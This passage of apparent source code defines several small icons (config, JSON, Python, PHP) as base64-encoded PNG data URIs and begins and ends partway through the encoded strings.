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",config_icon="data: image/png;base64,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",json_icon="data: image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAYAAABXAvmHAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAElElEQVRo3u2ZXUxbZRjH/8/5oB+04xtKpEygWeagskpcsjg/cLqoyy7ch5sOP+NC4m7cDO7CZCbuyiySJV6YRaJeyMacZDFTt2zJSFgicQuwhkgGsyIg0LiNr3Zt8bR9vKCwYk7LEUrLkj4XfZ+e877vOf8+v/O8z3kLpC1taXugjbR02ljf6iDCUQDZy7lYplE/81Bx4cEzDY+7kirgkXe+c3n9SjkDADODiObb6GOL+DnZJqqpLB8OhkK1377vSIgISUsnb0Ap44jPEdUcpV6rDwCCQFYJYlvdie6EiNAkIBzm6HsAM3N0q9UHz34lQokkilfqTnQ/u1wRmgTQHAaRGyIimmujjy3mg2anYmYWBCpNRCSkVGaQROCkScACDBKAUPTx5eKUMoSi5wTYKolLi0RKEUoETilHaGFk/z9OSUXI4/GQoiiQZZnV5ozG6bXGztpTh2tcqwohJUz4peNXWArzIAhCvK7WIKQ2AKWrSgARYUZYgz/d3uh1MVbnklX3DMynTkkHFQUcw189z4CaH+ccP1BpdEVLCa0IZWVmoCBLj99Hp1URqig28+2pAKbu/RNzTrXrrThCJoPEDXuqaV9tBZRgiKsOtKpi88Mn20iWRLS0ufj4WSd5/cHUIySLAlo+2orKtTloueTE1z85AWSo9t155DTe3l6NN7ZVo2ZdPl7++DKUUDi1CG2xW/BoWS7qPz3PP153Q8jIBKCOQ99dmT9suo525zBOHtnBW+wWXOkeSS1C8ux6xGNemUSdadHMI+pMGPPK82P/W9wlHaGufjeYGZs3WHDjjwlNYzZvsCAcDqOr3536LHTHE8SEJwBroUm1UFPzrYUmTHgCfMcTBINSh5DZINOhXXbkrjFw581RioPDAr/z5ijXbbXR0ddr0Ph9Dzx+JfkIHXhpPQ7tssNskPHV+U60trsASa9pbGu7C/bSTLy7owb7nqlAY2sPmi70JRchVvwAz25XCJIOJOs5snuxKEKCrIcg6SIYhsGKP/kIfXmhj5svdtMHezehfucm7hny0tn2AU0I7X6yjN96sYpOnruGz1quwcdGFmRDchEiSY8AGXCspQd7nrPDYcvH2fYBTWMdtnyMT/tx7FQPhIw8kPYfPPFZqCg/FzlmA4bck5qz0JB7EjlmGxcV5OLvSX9qFzKHLR9E4I5et+Ys1NHrZkEgctjycKlzZOUXsngRUIKzBZnVks03Bqa1rQNF2ZGxISwWtRWPwFXnMJy3xvjzg0/QU1XF+OZyP/cOTqpGoPLhHHrz+XV45elydt4ao6vOYRDJy4qApu31klebOZYAZoYRHm7Y+xjtf2EjlBDHLKd/a9pNskhovujk42e6yAdT3Fror9P7hRUXcH9d8FGmOIOCLD0PeY2qAtaa/XR7KoB7IR2TbKSovw6WLCBhb2QkG9kHIwY9iFlOD3oMDMEAElT2vFb2Gbj/mbyXek5cFgr6xkckY14JkmhB3/hIwgRMdHzxnmn99sOCpDMzwATQXBvZxFmyr3aOgzNeb9/PjQnLQgCJAOcBEJMUgBBIuAsOh5C2tKUtrv0LAgeIBBvynLwAAAAASUVORK5CYII=",python_icon="data:image/png;base64,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",php_icon="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEAAAABACAYAAACqaXHeAAAAAXNSR0IArs4c6QAADbxJREFUeF7tWQlYVWUafs85d2W/cFnEJcVMWzR3A23CpVDGBpfBGrNMkybH0TJrlDHMtDJts3RMR7NGzSUVR9HQHENCTEBcQNRQEAi8V+TChQt3Oes851w5QFwWMeYZH/meh4dz/vNt//t/3/d//38J3ONE3OPzRwcAHRFwjyPQkQL3eAB0FMGOFOhIgXscgY4UuMcDoGMX6EiBjhRoJwQysgpDGJ7vZafZnixDh9gZLtDhYPW0g9XbGMbbRjMUbWcVVoaG3cGydgfL0Q7GXGNnTA47W+agmRs2ls3jaEc+b7fkfr817lp7uPqbpEBOTqkH6SYMJ0khXGAxjBMwgOVYn+oaGmWVdpgtdlTW0LDaGFhpDgzDgWE5cBwPjhfA8Tz4W/85lgUj/jE0bHYHaEcNGIcNLGOv4Gj7WYZ1pPEMc9zmMKdmfb+15k5BaTMA6TnXgtSUcqJKRU5SKRVPMJygLDZWo9BogaGsGsZyG2pszJ36J8lzHAvGYYXNWgWrxYRqcykc9hqGZRzHeca+V3DY/n0h7cCNthi7LQCWCgL5RPqVSJWKjNFqVJFVNayi0GBB7i+VMJTVQBCEtvhw+zKCAFuNGeayYphuXENVuZHlWNtBnqU35Z9LSgTAt1ZpqwBISkpSmHndn7QqZSxBUQ8WGWuQW1QphfftkIIiETEkALTDKomRBInLBh6FhqrbUdOIV4yKG0UXUXLtPGyWiosc61hhuNpzB7Cba0lxiwBsjk8bpVWTn4Kk+hUYrci/bgHLtm2le3T2Rtq+93Ho0CHJrwcffBBz3tmGzEttit5Gc+NYGiV555B/IRlWc+llmmZerzDmihHRJDUJwOfbvvNSKDzWqpTK5w3lDhQabVLBuhMKH9QNi2KehMFgkNRMnToVnYfFoMxsuxO1LoBgkH/hR/x85jAc1eavVYRjXllZmcWVEZcALNtwqK+bSr2fE8gehTcY2OgWI6lVE/hDWBAmPjlQ5n1vxQfIo/vhzmBt2nRNlQmZx/4Fw7WsPJazRtHV1Tm/5m4EwN8/SxitUZPxVlrhVVrBuXTuvk5ecNcqXVrmOEGq/qXlVtBsQ+BG9LDgpReekeV27T2IIqu/9C7K2RwsblZYpf/1SUwdrVrh0h57y94NUw1YrnHtE3ge2al7cCF1r5ljbBNYlk2ur6gBAK+u2DtEraZ+sLNKD4vNdXaolBR6qS9gx/btLh1Sq9XQ6XR4tH9/DAh9Cud/IVFSagFFEujCZ2Dp20tkubCwMLi5ucnvGo0GvXv3xsDHRqKw2g9Xiirg4aaCd+VxJCa6TmVRxtfXF/0HDMCAsHHIuErDaGrcHlzOOIT0wxutHEuPAfBTrVF5ljNiv/X3cEcWT2mCrLRrtEWhnl18kLzzbRw9erTFsCdJEgsXxcLrgadhtTPI+f5TxMfHtygnMixY8Abc7o+Ct4caWz6chaysrBblFAoFxLSy+4Si4HplI/7zyTtw5oetYgHqB6BMZJABeDHumz1qlXoyzdetiCuLIwd3w+vTw1FWJsnD398f3bp1k55NJhOuX78OmqYbiG7avBWUvj/emfc0CgoKpG9eXl7Q6/XSs8hfWlraQI6iKOw4mAFWoDA9ajAYxtlUderUCcHBwdKzKGM0GuVv0oQIAjv3JODIBbJR+op9ypEti2HIP7cbwBQZgGdf3zRA7abMpJR+hACyWaTHDdFhSmSozPPue+/D94Gx0rtSQcHXS4X8c0fw5oLXZJ6RI0di9bqv0P+hHnKztGz5e9D3GSfLBfgo8NGSV5CSkiLLbd93TALlxWecfCJ9vvYLKAKHyXJ+XkqcTd6F5cvekXmio6Px0JhXUWR